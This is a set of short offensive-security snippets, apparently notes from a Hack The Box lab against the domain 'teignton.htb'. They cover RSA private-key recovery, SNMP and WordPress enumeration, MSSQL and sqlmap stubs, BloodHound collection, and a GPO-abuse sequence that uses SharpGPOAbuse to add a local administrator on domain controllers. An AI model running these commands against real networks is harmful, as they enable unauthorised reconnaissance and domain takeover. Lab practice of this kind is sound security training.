shollingsworth

# see ~/repos/RsaCtfTool
# docker build -t rsactftool .
docker run -it -v "$(pwd):/data" rsactftool:latest --publickey ./public.crt --private

shollingsworth

snmpwalk -v2c -c public ${RHOSTS} -m ALL |& tee snmp_all.txt

shollingsworth

# authors
wfuzz -z range,1-200 -u http://${R}/?author=FUZZ --hh 9104
# pages
wfuzz -z range,1-200 -u http://${R}/?p=FUZZ --hh 9104

shollingsworth

findstr /S /I /M /C:"karl" *.*

shollingsworth

#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
remote="localhost:8999"
remote="web.teignton.htb:1433"
fn="$(mktemp)"
rc="$(mktemp)"
trap "rm -fv \${fn} \${rc}" EXIT

cat <<'EOF' > ${rc}

shollingsworth

# Serve bloodhound
/home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/SharpHound.exe
/home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/DebugBuilds/SharpHound.exe
/home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/AzureHound.ps1
/home/stev0/src/BloodHound-linux-x64/resources/app/Collectors/SharpHound.ps1
/home/stev0/src/BloodHound-linux-x64/BloodHound

# Start Neo4j
~/bin/neo4j.sh

shollingsworth

# unznip
Expand-Archive dnSpy-net-win64.zip

shollingsworth

#!/usr/bin/env python3
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# import os
# import re

# from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

shollingsworth

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Do mssql stuff."""
from base64 import b64decode

import bs4
import pymssql

HOST = "web.teignton.htb"
PORT = 1433

shollingsworth

New-GPO -Name wtfgpo -Comment "This is a test GPO"
New-GPLink -Name stev0 -Target "OU=Domain Controllers,DC=TEIGNTON,DC=HTB" -LinkEnabled Yes

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jay.teignton --gponame stev0

gpupdate /force